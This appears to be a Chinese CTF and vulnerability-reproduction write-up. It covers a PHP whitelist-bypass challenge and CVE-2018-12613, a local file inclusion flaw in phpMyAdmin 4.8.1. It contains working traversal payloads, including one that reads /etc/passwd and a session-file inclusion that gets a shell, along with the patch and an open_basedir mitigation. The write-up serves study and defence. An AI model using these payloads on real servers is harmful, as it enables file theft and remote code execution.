打开题目一张图片,直接查看源码,提示source.php
:
访问/source.php
得到源码:
1 |
|
题目接受一个get参数file
:
这个参数需要满足2个条件:
- 这个参数得是string类型的;
- 这个参数传入
emmm::checkFile()
函数后需要返回true
。
再来看一下这个checkFile
函数,这个函数里有两个陌生的函数:mb_substr
和mb_strpos
。
mb_substr
Syntax:
mb_substr ( string $str , int $start [, int $length = NULL [, string $encoding = mb_internal_encoding() ]] ) : string
$str
:必需,会从该string中提取子字符串;
$start
:必需,规定从字符串的何处开始;
$length
:可选,规定要返回的字符串长度,默认就是到字符串的末尾;
encoding
:可选,字符编码,默认是内部编码。Return: 返回字符串的提取部分,如果失败则返回 FALSE,或者返回一个空字符串。
mb_strpos 同 strpos函数
Syntax:
strpos(string,find,start)
string
:必需,被搜索的字符串;
find
:必需,要查找的字符串;
start
:可选,开始搜索的位置。Return: 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
然后这里还用到了in_array($page, $whitelist)
来判断传入的参数$page
(就是原始的$_REQUEST['file']
参数)是不是在$whitelist
中。
$whitelist
是一个有序映射(key=>value):$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
而这里需要搞清楚的是in_array()它是匹配value而不是key,如下图这个例子,被匹配到的是aaa
,即value,而不是key。
所以$_REQUEST
参数值必需包括source.php
或是hint.php
。
所以直接令?file=hint.php
,程序会执行include $_REQUEST['file'];
也就是include "hint.php"
:
提示flag文件在ffffllllaaaagggg
,所以我们需要构造使得最后include $_REQUEST['file']
里能够包含这个文件。
在第17行可以看到,程序会从$page
,也就是传入的参数中提取指定长度的字符串,这个长度由mb_strpos($page.'?', '?')
决定。
mb_strpos
会从$page."?"
字符串中寻找第一次出现?
符号的位置并返回,所以mb_substr($page, 0, mb_strpos($page. '?', '?'));
会返回第一次出现?
符号前面的字符串(不包括?
符号)。
所以我们只要构造这样的payload:
1 | ?file=hint.php?../../../../../../../../../../ffffllllaaaagggg |
就可以在checkFile
函数成功返回true
,然后就会执行include $_REQUEST['file']
,将flag文件成功包含。
CVE-2018-12613 phpmyadmin文件包含漏洞
这道题其实来自CVE-2018-12613,比起上面这道题目要稍微复杂一点。
漏洞描述
该漏洞可以让攻击者在服务器上查看或是执行文件。
漏洞利用前提是攻击者必须先经过身份验证,但以下两种情况例外:
$cfg['AllowArbitraryServer']=true
:攻击者可以指定他已经控制的主机,在phpMyAdmin上执行任意代码;$cfg['ServerDefault'] = 0
:能绕过登录,允许在没有经过任何身份验证的情况下运行容易受到攻击的代码。
这个漏洞还是挺严重的,官方的评级是Severe
。
影响版本
phpMyAdmin 4.8.0和4.8.1
复现环境
- Ubuntu 18.04
- php 5.6.40 + phpMyAdmin 4.8.1 + Mysql 5.7
创建PHP My Admin用户:
1 | mysql> CREATE USER 'pma481'@'%' IDENTIFIED BY '123456'; |
授予超级用户权限:
1 | mysql> GRANT ALL PRIVILEGES ON *.* TO 'pma481'@'%' WITH GRANT OPTION; |
漏洞成因
index.php
:
第55行的if条件需要满足5个条件:
!empty($_REQUEST['target'])
:target
参数需要存在;is_string($_REQUEST['target'])
:target
参数需要是string类型的;!preg_match('/^index/', $_REQUEST['target'])
:target
参数不能以index
开头;!in_array($_REQUEST['target', $target_blacklist)
:target
参数值不能在$target_blacklist
中;Core::checkPageValidity($_REQUEST['target']
:target
值需要通过该check函数。
$target_blacklist
也定义在index.php
中:
只要target
的值不在$target_blacklist
中就可以绕过了,所以前4个条件很容易满足。
跟进checkPageValidity
函数(位于libraries/classes/Core.php
文件):
1 | public static function checkPageValidity(&$page, array $whitelist = []) |
因为没有传进$whitelist
参数,所以开始$whitelist
被初始化为self::$goto_whitelist
:
1 | public static $goto_whitelist = array( |
从checkPageValidity
函数中可以看到,传入的$page
参数中要通过该函数验证满足以下一个条件就可以:
$page
参数包含在$whitelist
之中;- 经过
mb_substr
的$page
参数(也就是$_page
参数),需要包含在$whitelist
中; - 对
$_page
参数进行urldecode
之后,再进行一个次mb_substr
的结果在$whitelist
中。
漏洞利用
poc:
1 | localhost/phpMyAdmin-4.8.1/index.php?target=db_sql.php%3f/../../../../../../../../etc/passwd |
getshell:
选择SQL,执行select语句:
php会序列化参数传递的值,然后保存在本地的session文件中,对于Linux的session保存目录就是/var/lib/php/sessions
,对应的session文件就是sess_[your session id]
。
所以F12查看一下当前查询的session:
所以对应的session文件就是/var/lib/php/sessions/sess_92o01utbpqift1ogm86flv4beeapadek
。
payload:
1 | localhost/phpMyAdmin-4.8.1/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_92o01utbpqift1ogm86flv4beeapadek |
官方给出的缓解手段是设置正确的open_basedir
,比如在php.ini
中将open_basedir
设置为/var/www/html
,然后重启apache服务器,再执行上述getshell操作,发现被拦截了。
官方修复
index.php
:
libraries/classes/Core.php
:
从官方补丁来看,修复之后就是直接根据第一次in_array($page, $whitelist)
的结果来判断$page
参数的合法性。